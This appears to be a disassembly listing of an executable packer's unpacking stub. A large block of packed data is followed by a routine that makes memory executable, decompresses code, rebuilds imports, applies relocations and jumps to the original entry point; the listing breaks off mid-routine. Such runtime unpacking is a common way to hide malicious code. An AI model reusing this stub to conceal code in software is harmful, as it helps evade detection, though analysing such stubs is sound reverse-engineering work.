		dd 6CD0273Ch, 65CD6934h, 0C579E043h, 65463103h,	6EC5944Eh
		dd 82417062h, 2272618Ch, 0C0554A44h, 0C0454351h, 2D4B4E20h
		dd 4DE73233h, 277747A0h, 7430D974h, 25CD494Ch, 4807236Bh
		dd 0B6C07A74h, 9836336Eh, 47550984h, 0B1A85241h, 650C3E24h
		dd 4C086956h, 4B3842E9h, 2E2A66F4h, 0E6D8F486h,	0DF31746Ch
		dd 49448C41h, 9FA445D4h, 40796D51h, 4E494899h, 5F5F5548h
		dd 9448F0ECh, 9F4C46C7h, 42B844AAh, 656A6265h, 4F450586h
		dd 7ADA1FA3h, 78A12846h, 84D5C761h, 45D12380h, 2D2B83DCh
		dd 0F807E35Bh, 20484854h, 5AEDE598h, 14109F54h,	335054E0h
		dd 0F83370B1h, 2D34C174h, 7950A0E2h, 0A26C6669h, 8D388A9Bh
		dd 9E8E5725h, 0C4707712h, 0C5420C6Eh, 4C396931h, 7A64C157h
		dd 81F448A1h, 474E6F43h, 725ABB75h, 0E1AD7891h,	84263322h
		dd 676F620Fh, 0BC5424F6h, 756A1A64h, 8998B27Ah,	42D09A3Ch
		dd 5938A404h, 0A42D77C2h, 7C96234h, 30899804h, 28146A21h
		dd 4B43A005h, 5B1A3035h, 3CED5E25h, 21E779B8h, 0F571D968h
		dd 0FAB5701Dh, 45F7F810h, 0CE79EF68h, 24FA704Ah, 54B4818Eh
		dd 73144247h, 8C792BC1h, 19313247h, 0FA495550h,	73CCA6D2h
		dd 1033E322h, 6848AA48h, 0B7FC4F2Ah, 0BA35B8D6h, 9A5A910Bh
		dd 449C8214h, 92604445h, 6BCACE2Ch, 0A9983772h,	0ED546B55h
		dd 7475F4FEh, 62A02AD0h, 612D4D2Bh, 56D152E9h, 6C280CACh
		dd 40916442h, 883CDA36h, 904B418Eh, 0AC23E1A3h,	8595214h
		dd 49DA4A30h, 0D8C94843h, 0DB40A54h, 6BAC8D36h,	93C30273h
		dd 0EFCC5EE5h, 828B935Dh, 4E55414Fh, 0BD3A4F3h,	0D0064356h
		dd 9C556453h, 0D261D830h, 32F47102h, 52A03537h,	0F9DF38ABh
		dd 16631BADh, 11038E6Eh, 3A52D550h, 333A3534h, 4B19CCF4h
		dd 0F7B9633Ch, 50929720h, 0FA4379CAh, 25934512h, 2CDA5C47h
		dd 64D61296h, 90E0AB64h, 0EF754F44h, 1A5F6427h,	72B9F718h
		dd 6DDA926Bh, 83786696h, 0E032DDF8h, 0A25A556Fh, 0B9754C28h
		dd 3E6E3981h, 5279830Fh, 23719C8Dh, 6A37FC63h, 4A6F1458h
		dd 7414D862h, 76B84010h, 634DD8A6h, 729067B6h, 24267974h
		dd 64AB33B2h, 687A3A29h, 66194D24h, 0AD2B78B2h,	981C9388h
		dd 53009BA5h, 73170450h, 3374F377h, 64318043h, 824B72BCh
		dd 0BC645A47h, 0AF61AFA2h, 4391A679h, 0A634939h, 3459454Ch
		dd 5E6C789Ch, 5866CC33h, 7136A258h, 547435C9h, 0DE88495Ch
		dd 244E09F2h, 91564842h, 44582243h, 4B894C5Ah, 48244A12h
		dd 46914748h, 53444422h, 124F8950h, 1A682855h, 550A0954h
		dd 95746F8h, 89625144h,	247A1278h, 9168486Ch, 44662267h
		dd 77897964h, 25AC727Fh, 0E02FE457h, 0B5D29834h, 20CD847Eh
		dd 0EE5F1C0Bh, 68224B61h, 7E01CD7Eh, 1C32865Fh,	0D3FB4331h
		dd 0CA057830h, 80323A18h, 5F607C2Dh, 5B257B5Ch,	5D348B5Dh
		dd 562FAC95h, 6007A50h,	0AFA8BD80h, 0C97D8A02h,	0D7F4BE11h
		dd 892998C8h, 2AAB31D7h, 80188D50h, 0DCE7F77Eh,	5201B000h
		dd 0E59CA97h, 0D5A811D0h, 0DC9A001h, 0C0FB4980h, 5500B526h
		dd 0C5C1371Dh, 279AB46h, 682A8F63h, 582969E8h, 0D8BBB564h
		dd 0C0DD145Ah, 487CB27Eh, 5CBF7263h, 0E609C92Ch, 0E109060Bh
		dd 0C7BED272h, 0ABC62559h, 0C5C375EDh, 0CA8124Eh, 0EC28FA5Eh
		dd 6D519D40h, 0D45669Ch, 0B2EB3A0Ah, 7F1269B4h,	502222A6h
		dd 165810A3h, 0B6CD4EA8h, 5A2F1009h, 27345A6Ah,	94AB7373h
		dd 0C4AE174Ah, 0B438FD80h, 61474BAAh, 0BB596575h, 0F62FF1FBh
		dd 68F7D317h, 5A27E692h, 343A2D89h, 411AADE4h, 5A281EA8h
		dd 0FCA824EBh, 0E402B7C7h, 0E9E8D095h, 0D493CC3Fh, 0CCC11CAh
		dd 0BC48C464h, 0AC48B4E4h, 9C48A4E4h, 94220191h, 89028C44h
		dd 25741280h, 7AC08D03h, 648A44E8h, 4B845B0Ch, 5061D750h
		dd 0AF084D64h, 0D99AF521h, 1015082Eh, 0E172611Eh, 0BF2111B6h
		dd 60D0587Ah, 5F209008h, 346834EAh, 0F280B508h,	7A1164ADh
		dd 0EAE458E8h, 62B836D4h, 8B76BD76h, 7E4E776Bh,	242B2487h
		dd 28A12F29h, 869977ADh, 14397F2Dh, 241A501Dh, 0EB6EE065h
		dd 9C4FE8E6h, 519D63F0h, 0AE641248h, 0F88CAE65h, 0BB23FF68h
		dd 0A954A6DEh, 4559A4CEh, 7720742Eh, 9961B4A2h,	0FDBC7BDDh
		dd 139FE5Fh, 5DCB2407h,	22D27844h, 65F175AFh, 2563C4D9h
		dd 0A79EA832h, 755B51DAh, 2163912Eh, 7CA03614h,	2187A592h
		dd 0B9802E14h, 11C37C15h, 97D54E6Bh, 5FF06FB6h,	2C90BFADh
		dd 91E0ECF4h, 29BED2AEh, 504CBFA9h, 6CBD6124h, 61F4BD99h
		dd 0AC76B2ECh, 1F30D585h, 2246F575h, 0EB38D236h, 1C895A27h
		dd 23A2A508h, 0A642A366h, 0F526D41h, 8AEED6B0h,	0CB2043CBh
		dd 6E652764h, 0D2E485Dh, 958B61BEh, 0D91B7234h,	0A9CE611Ah
		dd 0F7BC7D40h, 0A94485D1h, 9C473E1Ah, 4B85A196h, 0E42DE440h
		dd 0EA64AB2Ah, 413EE52Eh, 0DDDEF8CAh, 0B12A63D2h, 0EE5B4449h
		dd 2049FE2Bh, 4F2F67BDh, 0A42C6CC8h, 8DF6EFA4h,	0AC6B7614h
		dd 0F4B7931Ch, 7FB91448h, 0C4910BE9h, 77CA8146h, 539B24E4h
		dd 7562A01Eh, 0D2F551A8h, 2FBD0A6Ch, 8EBAB6C7h,	8943286Dh
		dd 0E1826C5Ah, 385A5770h, 275C23F7h, 0E92A5441h, 5CBF4136h
		dd 0BDCEDA5h, 0B22AD48Ch, 0B7B6E469h, 24E96B0Ah, 567F28Ch
		dd 16C94A2Ch, 0F5F5AAF9h, 306873F9h, 48BC436Ah,	35C9A4D9h
		dd 6569DB52h, 0EEEB695Ch, 0D3FF79D2h, 0E9AB217Ch, 82A14657h
		dd 71E6572Ch, 757AE791h, 0E893D4CEh, 0FD7A3468h, 0C0EA8D59h
		dd 27DFDEFCh, 344D9EC3h, 842ABD28h, 3B546D77h, 0A25A33E6h
		dd 0C2AD5BF0h, 16DA645Dh, 8E641455h, 490C8C18h,	189A2852h
		dd 188CADECh, 0C8CA8BAh, 90BD29FFh, 0CCDD5A0Bh,	0B4669408h
		dd 4D183683h, 0AF346EB5h, 0B35D2F6Eh, 3A7438B3h, 9A42F4Ah
		dd 47726168h, 5478AEA2h
		dd 767441D7h, 0C473407Dh, 0C2ED51DAh, 311B77BDh, 0EA145334h
		dd 3606A332h, 0DC0B7A75h, 824E162Fh, 9D8859CAh,	0EFED734Ch
		dd 539014A2h, 0C8E5809Ah, 5B1D5395h, 3F826FAh, 4765269h
		dd 0AB57208h, 0C44F011Bh, 0D9935F0Bh, 54630C44h, 2DEC3AEAh
		dd 401AFF75h, 0D48DEF36h, 4DC930E8h, 0C820AB99h, 5036D224h
		dd 1A4A1D82h, 0CEF5A28Bh, 0B5D48E16h, 78743886h, 573D5067h
		dd 7E6BA94Eh, 614D6040h, 15992E78h, 34F35E27h, 4F38E69Ch
		dd 2527DFD3h, 74614C52h, 43175875h, 49E87CB5h, 28952B2Fh
		dd 6F6C57CDh, 0EF5989A9h, 538A7E48h, 49462D14h,	0A17DD39Dh
		dd 2FCCA614h, 8827B6F1h, 10A33B32h, 8B4A6E94h, 0C36AD74Eh
		dd 19FFFBCAh, 605873DBh, 9D617742h, 816838F9h, 14481A68h
		dd 0B43941E5h, 52722892h, 8A725110h, 9624F8D7h,	69458EFFh
		dd 5CD25529h, 0AAC4464Bh, 0EAF26234h, 9BAFF09Bh, 0E0174477h
		dd 19759547h, 0F9EE557Ch, 0AE419204h, 43CD08A6h, 89B2A1B0h
		dd 78245395h, 0E42511A7h, 9514B8ECh, 11862652h,	3BB5E2BFh
		dd 0BA1C4AB9h, 9F27A025h, 0DC6EF73Bh, 0BC932EE8h, 948B6167h
		dd 629A8244h, 698AD662h, 6A716742h, 0DF4F3AA4h,	0F03AD0F5h
		dd 55E8C748h, 6C497A99h, 0AEDEB9A1h, 9C862052h,	0F93AC5A4h
		dd 3DEBD288h, 7BDB65E3h, 0D4A45DBCh, 936126ECh,	65DA1AB9h
		dd 0C837A12Ch, 4C5DA538h, 7AAFB19Ch, 535A4C7Bh,	8D45AF90h
		dd 124D0E2Ch, 0D79EBD7Eh, 0D7286C28h, 0BC8B2D6Ah, 0B6BDF5C0h
		dd 0F0769DC5h, 2F79630Ah, 2E42A3CAh, 0F798BA29h, 58963164h
		dd 39865952h, 9DD3EC56h, 91230AD1h, 0A5645B24h,	0BF7348A4h
		dd 79EB7CFEh, 642634E1h, 4A86A885h, 57644E49h, 0E2EC359Ah
		dd 6EB30995h, 0A61984DFh, 0FF8E8308h, 0B86B9F9Dh, 52E49569h
		dd 13BADA09h, 0A29DB44Dh, 0A1BE6554h, 48252C68h, 45CADAAEh
		dd 655A2BF2h, 0DAC9FC44h, 0DB657D62h, 2F7115A7h, 5B553BDDh
		dd 0B476EB4Ch, 0E477FBE1h, 443DE843h, 0D654A84Fh, 0A29B757h
		dd 0CF52244Ah, 64C812F4h, 4C8DEAB6h, 6F4E2594h,	6775E861h
		dd 4C657F68h, 856AD836h, 1B2A5CFh, 5953E1F1h, 67903E51h
		dd 0A566992h, 0C9FA42B8h, 0B4184F2Eh, 0EB3C271Ah, 1D5A7013h
		dd 0FB5237FEh, 2C168D32h, 39BE6D5Fh, 0F7F23E0Eh, 3CC4A3D3h
		dd 0E008E230h, 3268DEA3h, 0B824C409h, 0A091AC48h, 80449022h
		dd 12548968h, 483C2448h, 22249130h, 0FC0C4418h,	89F0A240h
		dd 24D812E4h, 91BC48CCh, 38A022B0h, 72873169h, 296E3435h
		dd 699F805Bh, 0C70D7595h, 5C293364h, 6510689Bh,	0C20B2972h
		dd 520DB788h, 68A05E57h, 6919B60Dh, 4BF0C84h, 73C14DB1h
		dd 34585058h, 85E6E362h, 36226CECh, 73A14850h, 0C325533h
		dd 3D4192A7h, 4D414864h, 4142532Dh, 0C505470h, 2963736Dh
		dd 0AD246276h, 125C9AFFh, 0E6CC703Ch, 45563B41h, 84876720h
		dd 67666385h, 0DE802D25h, 0D16D6B73h, 7A361AF2h, 0C1B0EA10h
		dd 286D7229h, 0BC907DBFh, 0AA777034h, 21A39429h, 347A9A0Eh
		dd 191B1F62h, 3AC7F84Eh, 0E557445h, 0A8DF7EACh,	0A44C9429h
		dd 67692B66h, 61092740h, 491CBA28h, 0DFCB9A5Ch,	5F2FD0E5h
		dd 0EECDC433h, 65DF15E2h, 24A35A7Bh, 0CE165F72h, 5FAF2487h
		dd 2C1B5CB2h, 7F3A062Fh, 0D5E88B6h, 2BE47DBFh, 0A34E4B8Ah
		dd 60B24BDBh, 40003F41h, 0A70A0D2Eh, 17501430h,	0AAE924D7h
		dd 0CCD49DFDh, 408AAE4Ah, 0A1ED5842h, 7FE93062h, 4927F9BEh
		dd 0DC885C4Fh, 0D2787EBDh, 22D7D3FDh, 5611A29Bh, 0A5884284h
		dd 8065085Eh, 267C0832h, 74440978h, 3A448870h, 0DF245C40h
		dd 0E811B730h, 4D44419Fh, 545D4E49h, 0BD700E50h, 0DDDAD0F4h
		dd 74E91651h, 0A742523Bh, 9458F1F7h, 63AD302Eh,	0D68C5835h
		dd 0A6FB6625h, 3FFA5EC1h, 4F234264h, 74531F0Eh,	0F4549136h
		dd 2145B6A3h, 73E2500Eh, 6F734415h, 4374EC5Eh, 0A73AEDF8h
		dd 964D94F1h, 9E88B95h,	0B3AB354Bh, 5AE35C67h, 0B62E1FC2h
		dd 0BC288C3Ch, 0F9FB5A97h, 53534622h, 0E3EAB5C4h, 913E90FCh
		dd 2419B93Ch, 8E6D1C2Bh, 0A1976D79h, 0CBC01FB7h, 23B75E44h
		dd 2129DAB4h, 50C8DE59h, 1B4944F1h, 0F97E2809h,	9110D6E9h
		dd 27144115h, 6454F738h, 4C25658Ch, 5C41A563h, 0B0241095h
		dd 0ED57ABADh, 86D6EC6Ah, 71B8A554h, 55F10B72h,	0BA45E26Eh
		dd 96CB7DAh, 0BE176E75h, 7C3A124Eh, 426DE24Bh, 6214E5D0h
		dd 76ABD77h, 0F4545330h, 75DCFB2Fh, 0BC0D4F30h,	0CBAAA56Ah
		dd 28648D0Fh, 0AAD7D062h, 5B072CDDh, 0ABC845E6h, 2414DD25h
		dd 6962050Fh, 0AF1F2F74h, 41535545h, 0A7FF1169h, 126D6185h
		dd 6114E72Ch, 23F43867h, 22577D4h, 25D9D42Eh, 608FEF29h
		dd 60F96A49h, 50FF7912h, 20D00F3Ch, 749FF05Ah, 0C3A6795Eh
		dd 34641040h, 24BF6131h, 80101211h, 62696C7Fh, 0D79C21EFh
		dd 0A1416651h, 15A0288Bh, 7568D480h, 8BE46F3h, 6C8D5990h
		dd 0E3BD3C21h, 0AF6E7996h, 0D15FB4AEh, 0F23C5114h, 0B27FAD89h
		dd 0E94829BAh, 224933C0h, 0F4A937Ch, 738F75FCh,	204256D4h
		dd 20126224h, 0B5308583h, 0F724A152h, 93540C43h, 314530BCh
		dd 0D36FD00Ch, 500EC47Eh, 1A55101Fh, 0E03DBA04h, 0C25B533Ah
		dd 629264ECh, 6F781410h, 0C48761A4h, 35706994h,	2F291064h
		dd 0A0606C1Dh, 0DA75EE6Ch, 50333630h, 633756F6h, 103A4468h
		dd 9FA13165h, 851F93D2h, 0AD667C23h, 42753C62h,	0FEBC2828h
		dd 0DB3C6C94h, 8A5FD66Ch, 0B01AD77Dh, 0A246071h, 55504361h
		dd 4900CF22h, 4D753436h, 2E6B7A48h, 8223D822h, 0B097711h
		dd 4A5BEAD6h, 0A7AFB519h, 0EB4B723Dh, 9A07CB3Bh, 4B994337h
		dd 4E998A32h, 622E1E33h, 75424406h, 0FAD4BC63h,	9E481226h
		dd 0FB082D26h, 481DB241h, 0BC5DD9DFh, 69478ACEh, 496C752Bh
		dd 292349BEh, 0A3E35CADh, 6954040Ch, 2B552C6Dh,	0A90E7470h
		dd 6FFA3848h, 79C8024Dh, 756325B8h, 0E5CB1565h,	6B00A9C4h
		dd 805E8857h, 0EAB063F2h, 4DD9FD41h, 9DAA721h, 387F7E68h
		dd 9FF64C39h, 2815842h,	0C370752Dh, 457D6FD2h, 58E525AFh
		dd 58E55F25h, 849CDF69h, 0B6A7E6B7h, 6D2E4537h,	0B5723830h
		dd 0F66BC78Dh, 0E55C91C6h, 55059DB7h, 6A2E4C52h, 89B15A78h
		dd 0A7FB393Ah, 37C21A59h, 8A24A084h, 3974CC0Dh,	4A702F2Ah
		dd 8BC2604h, 440DFF22h,	180EB51h, 69DD8202h, 2E033020h
		dd 0A38081Ch, 7234D92Fh, 3F31011Ch, 98750817h, 24227302h
		dd 3B4441D1h, 603F044Ch, 520201Bh, 40AF1993h, 41C1A205h
		dd 108AF0BCh, 0AE606110h, 78045243h, 14CFF39h, 0F139CEF0h
		dd 0AAAA0114h, 1CE44AAAh, 100162E0h, 408CE92h, 0BE200232h
		dd 0DF284202h, 48705EA1h, 84B21047h, 4522A317h,	1022C81h
		dd 401CFA85h, 0C8028252h, 3CA35F02h, 142A2013h,	99AB4EAFh
		dd 0A8080004h, 98E04277h, 20509DFh, 1C040804h, 600303A4h
		dd 21927982h, 0DFA62C98h, 0A12308A4h, 9F8102A5h, 4010FCE0h
		dd 3080437Eh, 0A3C161A8h, 5826E5DAh, 18FE81A1h,	5208A640h
		dd 41EC30B5h, 0CFB6448Eh, 38E4A239h, 3CE53B1Ah,	5A5B23E8h
		dd 46A19005h, 905510Ah,	675EDA39h, 6A675FC0h, 22E3284h
		dd 0E0DED8D3h, 7E3103F9h, 880C7452h, 4029416h, 640803CAh
		dd 91184804h, 440D2205h, 7890906h, 8240C12h, 0A390972h
		dd 870B1C4Ch, 0D03C1694h, 580F2908h, 0C8141094h, 4129411h
		dd 212318D0h, 0C8103594h
		dd 7243E441h, 52349950h, 0A653184Ch, 60575308h,	947C5929h
		dd 6DCB186Ch, 232EA1Bh,	251C0970h, 6AC7272h, 5C803099h
		dd 8A681B4h, 23208253h,	48849483h, 299191C8h, 95109E29h
		dd 0A4CA90A1h, 72A76470h, 0CEA0B9B7h, 8ED7204Ch, 0C071824h
		dd 2D0920C0h, 0D25D450Dh, 1462884Eh, 61785C09h,	11911D78h
		dd 201A2258h, 1B44C614h, 1F21C850h, 13114899h, 21244012h
		dd 0E913848h, 74813022h, 5810A928h, 433C209Eh, 37101835h
		dd 1E11CCB0h, 12120C89h, 20480824h, 0C220491h, 4477FC20h
		dd 1589F40Bh, 1C24EC12h, 1991E448h, 1144DC22h, 121889D4h
		dd 481624CCh, 221791C4h, 0B82244BCh, 0B4122389h, 0B0482424h
		dd 0F00E01A1h, 0F8C4107Fh, 9AEF62FFh, 7EFB7710h, 87088095h
		dd 0A0E4410h, 30C41401h, 424F1302h, 1C9F0497h, 0FC0F5C29h
		dd 4404952Dh, 0B53C0E8h, 191D3245h, 0F963904h, 8478D22h
		dd 8FE48E21h, 9087903Ch, 1E92F291h, 3C99343h, 120AE8B9h
		dd 4DDE288Ch, 0A0F4581Ah, 0FC427B26h, 44117466h, 78A4809h
		dd 30892428h, 937AF8A0h, 24C81E58h, 89A4C798h, 0E278E031h
		dd 4078684Ch, 783E8093h, 0E008109Bh, 89A8C779h,	9180A031h
		dd 70227811h, 246012F7h, 9150487Ah, 54F427FCh, 48FF1470h
		dd 0C085216Eh, 0A718D94Dh, 0E7B4FD10h, 0B974105Ch, 5D5CFD3Bh
		dd 1C63B930h, 0EF802B4Fh, 34269485h, 195D109h, 352C60FCh
		dd 40C61894h, 0BB03FC09h, 49811609h, 386C1844h,	0A77F2044h
		dd 2A00541h, 0C80C7140h, 0FA100E05h, 9C92B708h,	5010160Ch
		dd 24B00FC3h, 28512F4h,	16989680h, 0BC200814h, 4C019BEh
		dd 211BC9BFh, 0A103348Eh, 0D8CECCEDh, 0F84ED3C2h, 9EF00020h
		dd 0A82B70B5h, 9D3EC5ADh, 5DD00069h, 1AE525FDh,	194F0F8Eh
		dd 718083EBh, 4395D796h, 8D050E03h, 0E09EAF29h,	7A0BFF9h
		dd 1281ED44h, 0B982338Fh, 0D53CB0E7h, 0FF0DCFA6h, 7A781F49h
		dd 0C66FF0h, 80E98CE0h,	93BA47C9h, 0BC41A800h, 27556B85h
		dd 0F78D0339h, 427CE070h, 0DE8EDDE0h, 0FB9DF900h, 51AA7EEBh
		dd 0E6A10043h, 0F2CCE376h, 84002F29h, 28442681h, 3AAA1710h
		dd 0E387AEF8h, 0C0FAC4C5h, 0F3D4A7EBh, 0E100F775h, 0CF957A4Ah
		dd 0CC6545h, 0A60E91C7h, 0E319A0AEh, 0D46A31Fh,	750C1741h
		dd 76CC8681h, 4D4800C9h, 0A7E44258h, 3B033993h,	0EDB2B835h
		dd 0E5A0EF53h, 0E7C53D5Dh, 1E9E8BF4h, 80FF5A92h, 20A1F0A6h
		dd 0A50054C0h, 0D161378Ch, 0E45A8BFDh, 5D2500D8h, 67DBF989h
		dd 0F80395AAh, 0A2BF27F3h, 80DDE8C8h, 0C94C006Eh, 8A20979Bh
		dd 60165202h, 7CAC25C4h, 4CCCD86h, 0FB000184h, 0A3D713Fh
		dd 0A170A3D7h, 5AF0F805h, 0DF3B0064h, 6E978D4Fh, 0F57C8312h
		dd 2CD3C300h, 58E21965h, 0D1B71F17h, 0FD000F1h,	1B478423h
		dd 0C51FACE4h, 4000EEA7h, 6C69B6A6h, 0BD0507AFh, 0C0EB8637h
		dd 42BC3D33h, 0D5E57A01h, 0E7D6BF94h, 0E2FDC2F0h, 846101CEh
		dd 0ABCC7711h, 4C2FF0E4h, 4DE15B00h, 9594BEC4h,	78C97CE6h
		dd 3B530392h, 14CD4475h, 0F0AF9AF1h, 0BA0067DEh, 0AD453994h
		dd 0EFCFB11Eh, 1F2324F0h, 0C1BCE2C6h, 8B61313Bh, 55A0F37Ah
		dd 7E01C159h, 127C53B1h, 0D7F05FBBh, 8D2F00EEh,	8592BE06h
		dd 446FFB15h, 0E9A5C348h, 0EA279839h, 2AA83E7Fh, 0A1AC7D00h
		dd 7C64BCE4h, 0DDD04600h, 7B633E55h, 23CC0006h,	0FF837754h
		dd 3D738191h, 193AFA00h, 4325637Ah, 0ACC00031h,	0D189213Ch
		dd 471C8238h, 0FD00B897h, 88DC3BD7h, 1B080058h,	86E3E8B1h
		dd 0C6F803A6h, 42458400h, 7599B607h, 2EDB0037h,	1C71333Ah
		dd 32F023D2h, 9049EE00h, 87A6395Ah, 57C007BEh, 8082A5DAh
		dd 0E232B5A2h, 11B26800h, 449F52A7h, 10B70059h,	0E449252Ch
		dd 3403362Dh, 0CEAE534Fh, 598FD86Bh, 0C0A40004h, 0FB7DC2DEh
		dd 1E00C6E8h, 5A88E79Eh, 3C9157h, 228350BFh, 654B4E18h
		dd 1FD623Ch, 9406AF8Fh,	5C80117Dh, 0D2CE9FDEh, 0DD0204C8h
		dd 0EC0AD8A6h, 80AC597Ch, 56413F2Eh, 0D2957865h, 0A9E19FF0h
		dd 3985C740h, 6F46B18h,	0B25F5E63h, 73400600h, 0E13D6474h
		dd 0E84F204Fh, 395F3AA4h, 51FADE66h, 409021F5h,	0D124AFF5h
		dd 441B416Dh, 0A782BF4Bh, 0D6ADD55Fh, 59402C3Bh, 0D8EE00h
		dd 0
		dd 0E0017027h, 0DC09C89Ch, 11022188h, 8F902233h, 0CCD701h
		dd 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		call	$+5
		mov	ebp, [esp+24h+var_24]
		add	esp, 4
		cmp	[esp+20h+arg_4], 1
		jnz	short loc_4FA4D7
		mov	eax, [esp+20h+arg_0]
		mov	[ebp+43Ch], eax
		jmp	short loc_4FA4E3
; ---------------------------------------------------------------------------


loc_4FA4D7:				; CODE XREF: start+11j
		mov	eax, [ebp+438h]
		mov	[ebp+43Ch], eax


loc_4FA4E3:				; CODE XREF: start+1Dj
		lea	esi, [ebp+460h]
		lea	ebx, [ebp+2EBh]
		xor	edi, edi
		call	sub_4FA648
		jmp	short loc_4FA513
; ---------------------------------------------------------------------------


loc_4FA4F8:				; CODE XREF: start+5Fj
		mov	eax, [ebp+43Ch]
		push	dword ptr [edi+esi+4]
		add	[esp+24h+var_24], eax
		push	dword ptr [edi+esi]
		add	[esp+28h+var_28], eax
		call	ebx
		add	esp, 8
		add	edi, 8


loc_4FA513:				; CODE XREF: start+3Ej
		cmp	dword ptr [edi+esi], 0
		jnz	short loc_4FA4F8
		cmp	dword ptr [ebp+448h], 0
		jz	short loc_4FA530
		cmp	dword ptr [ebp+44Ch], 0
		jz	short loc_4FA530
		call	sub_4FA6E8


loc_4FA530:				; CODE XREF: start+68j	start+71j
		lea	esi, [edi+esi+4]
		push	ebx
		push	40h
		push	1000h
		push	760h
		push	0
		call	dword ptr [ebp+3D1h]
		mov	[ebp+45Ch], eax
		pop	ebx
		push	dword ptr [ebp+45Ch]
		push	esi
		call	ebx
		add	esp, 8
		mov	esi, [ebp+45Ch]
		mov	eax, esi
		jmp	short loc_4FA567
; ---------------------------------------------------------------------------


loc_4FA566:				; CODE XREF: start+B2j
		inc	eax


loc_4FA567:				; CODE XREF: start+ACj
		cmp	byte ptr [eax],	1
		jnz	short loc_4FA566
		inc	eax
		mov	edi, [eax]
		add	edi, [ebp+43Ch]
		add	eax, 4
		mov	[ebp+458h], eax
		jmp	loc_4FA617
; ---------------------------------------------------------------------------


loc_4FA583:				; CODE XREF: start+162j
		push	esi
		call	dword ptr [ebp+3C9h]
		test	eax, eax
		jz	loc_4FA646
		mov	[ebp+454h], eax
		mov	eax, esi
		jmp	short loc_4FA5F7
; ---------------------------------------------------------------------------


loc_4FA59C:				; CODE XREF: start+13Dj start+142j
		mov	eax, [ebp+458h]
		mov	eax, [eax]
		test	eax, 80000000h
		jz	short loc_4FA5BF
		xor	eax, 80000000h
		push	eax
		mov	eax, [ebp+458h]
		mov	dword ptr [eax], 202020h
		jmp	short loc_4FA5C5
; ---------------------------------------------------------------------------


loc_4FA5BF:				; CODE XREF: start+F1j
		push	dword ptr [ebp+458h]


loc_4FA5C5:				; CODE XREF: start+105j
		push	dword ptr [ebp+454h]
		call	dword ptr [ebp+3CDh]
		test	eax, eax
		jz	short loc_4FA646
		mov	[edi], eax
		add	edi, 4
		mov	eax, [ebp+458h]
		jmp	short loc_4FA5E3
; ---------------------------------------------------------------------------


loc_4FA5E2:				; CODE XREF: start+12Ej
		inc	eax


loc_4FA5E3:				; CODE XREF: start+128j
		cmp	byte ptr [eax],	0
		jnz	short loc_4FA5E2
		inc	eax
		mov	[ebp+458h], eax
		cmp	word ptr [eax+2], 8000h
		jz	short loc_4FA59C


loc_4FA5F7:				; CODE XREF: start+E2j
		cmp	byte ptr [eax],	0
		jnz	short loc_4FA59C
		jmp	short loc_4FA5FF
; ---------------------------------------------------------------------------


loc_4FA5FE:				; CODE XREF: start+14Aj
		inc	esi


loc_4FA5FF:				; CODE XREF: start+144j
		cmp	byte ptr [esi],	0
		jnz	short loc_4FA5FE
		inc	esi
		inc	eax
		mov	edi, [eax]
		add	edi, [ebp+43Ch]
		add	eax, 4
		mov	[ebp+458h], eax


loc_4FA617:				; CODE XREF: start+C6j
		cmp	byte ptr [esi],	1
		jnz	loc_4FA583
		push	4000h
		push	760h
		push	dword ptr [ebp+45Ch]
		call	dword ptr [ebp+3D5h]
		call	sub_4FA678
		call	sub_4FA764
		popa
		jmp	sub_41E1D3
; ---------------------------------------------------------------------------


loc_4FA646:				; CODE XREF: start+D4j	start+11Bj
		popa
		retn
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_4FA648	proc near		; CODE XREF: start+39p
		pusha
		mov	eax, [ebp+43Ch]
		add	eax, [eax+3Ch]
		add	ax, [eax+14h]
		add	eax, 18h
		mov	ebx, [eax+0Ch]
		add	ebx, [ebp+43Ch]
		mov	ecx, [eax+8]
		lea	eax, [ebp+434h]
		push	eax
		push	40h
		push	ecx
		push	ebx
		call	dword ptr [ebp+3D9h]
		popa
		retn
sub_4FA648	endp


; =============== S U B	R O U T	I N E =======================================



sub_4FA678	proc near		; CODE XREF: start+17Ep
		pusha
		mov	esi, [ebp+440h]
		or	esi, esi
		jz	short loc_4FA6E6
		mov	edi, [ebp+438h]
		mov	eax, [ebp+43Ch]
		cmp	eax, edi
		jz	short loc_4FA6E6
		add	esi, eax
		jmp	short loc_4FA6E1
; ---------------------------------------------------------------------------


loc_4FA697:				; CODE XREF: sub_4FA678+6Cj
		mov	edx, [esi]
		mov	eax, [esi+4]
		mov	[ebp+444h], eax
		add	[ebp+444h], esi
		add	esi, 8
		jmp	short loc_4FA6D9
; ---------------------------------------------------------------------------


loc_4FA6AD:				; CODE XREF: sub_4FA678+67j
		movzx	eax, word ptr [esi]
		mov	ebx, eax
		shr	ebx, 0Ch
		mov	ecx, ebx
		imul	ebx, 1000h
		sub	eax, ebx
		add	eax, edx
		add	eax, [ebp+43Ch]
		cmp	ecx, 3
		jnz	short loc_4FA6D6
		sub	[eax], edi
		mov	ecx, [ebp+43Ch]
		add	[eax], ecx


loc_4FA6D6:				; CODE XREF: sub_4FA678+52j
		add	esi, 2


loc_4FA6D9:				; CODE XREF: sub_4FA678+33j
		cmp	esi, [ebp+444h]
		jb	short loc_4FA6AD


loc_4FA6E1:				; CODE XREF: sub_4FA678+1Dj
		cmp	dword ptr [esi], 0
		jnz	short loc_4FA697


loc_4FA6E6:				; CODE XREF: sub_4FA678+9j
					; sub_4FA678+19j
		popa
		retn
sub_4FA678	endp


; =============== S U B	R O U T	I N E =======================================



sub_4FA6E8	proc near		; CODE XREF: start+73p
		pusha
		mov	esi, [ebp+448h]
		add	esi, [ebp+43Ch]
		mov	edi, esi
		mov	ecx, [ebp+44Ch]
		cmp	dword ptr [ebp+450h], 0
		jz	short loc_4FA73A
		jmp	short loc_4FA733
; ---------------------------------------------------------------------------


loc_4FA708:				; CODE XREF: sub_4FA6E8+4Ej
		cmp	byte ptr [esi],	0E8h
		jz	short loc_4FA712
		cmp	byte ptr [esi],	0E9h
		jnz	short loc_4FA731


loc_4FA712:				; CODE XREF: sub_4FA6E8+23j
		mov	eax, [esi+1]
		cmp	al, [ebp+450h]
		jnz	short loc_4FA72B
		mov	al, 0
		bswap	eax
		sub	eax, 5
		add	eax, edi
		sub	eax, esi
		mov	[esi+1], eax


loc_4FA72B:				; CODE XREF: sub_4FA6E8+33j
		add	esi, 4
		sub	ecx, 4


loc_4FA731:				; CODE XREF: sub_4FA6E8+28j
		inc	esi
		dec	ecx


